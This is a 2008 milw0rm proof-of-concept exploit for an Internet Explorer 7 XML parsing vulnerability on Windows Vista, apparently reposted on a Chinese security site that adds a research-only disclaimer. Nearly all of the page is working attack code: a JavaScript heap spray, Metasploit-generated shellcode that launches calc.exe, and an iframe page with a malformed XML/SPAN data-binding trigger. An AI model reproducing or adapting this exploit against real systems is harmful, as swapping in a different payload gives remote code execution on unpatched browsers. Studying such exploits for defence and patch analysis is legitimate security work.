<html> <script> // k`sOSe 12/10/2008 // Tested on Vista SP1, Explorer 7.0.6001.18000 and Vista SP0, Explorer 7.0.6000.16386 // Heap spray address adjusted for Vista - muts / offensive-security.com // http://secmaniac.blogspot.com/2008/12/ms-internet-explorer-xml-parsing-remote.html // http://www.offensive-security.com/0day/iesploit-vista.rar // windows/exec - 141 bytes // http://www.metasploit.com // EXITFUNC=seh, CMD=C:/WINDOWS/system32/calc.exe var shellcode = unescape("%ue8fc%u0044%u0000%u458b%u8b3c%u057c%u0178%u8bef%u184f%u5f8b%u0120%u49eb%u348b%u018b%u31ee%u99c0%u84ac%u74c0%uc107%u0dca%uc201%uf4eb%u543b%u0424%ue575%u5f8b%u0124%u66eb%u0c8b%u8b4b%u1c5f%ueb01%u1c8b%u018b%u89eb%u245c%uc304%u315f%u60f6%u6456%u468b%u8b30%u0c40%u708b%uad1c%u688b%u8908%u83f8%u6ac0%u6850%u8af0%u5f04%u9868%u8afe%u570e%ue7ff%u3a43%u575c%u4e49%u4f44%u5357%u735c%u7379%u6574%u336d%u5c32%u6163%u636c%u652e%u6578%u4100"); var block = unescape("%u0c0c%u0c0c"); var nops = unescape("%u9090%u9090%u9090"); while (block.length < 81920) block += block; var memory = new Array(); var i=0; for (;i<1000;i++) memory[i] += (block + nops + shellcode); document.write("<iframe src=/"iframe.html/">"); </script> </html> <!-- iframe.html <XML ID=I> <X> <C> <![CDATA[ <image SRC=http://ఌఌ.xxxxx.org > ]]> </C> </X> </XML> <SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML> <XML ID=I> </XML> <SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML> </SPAN> </SPAN> --># milw0rm.com [2008-12-10]
免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论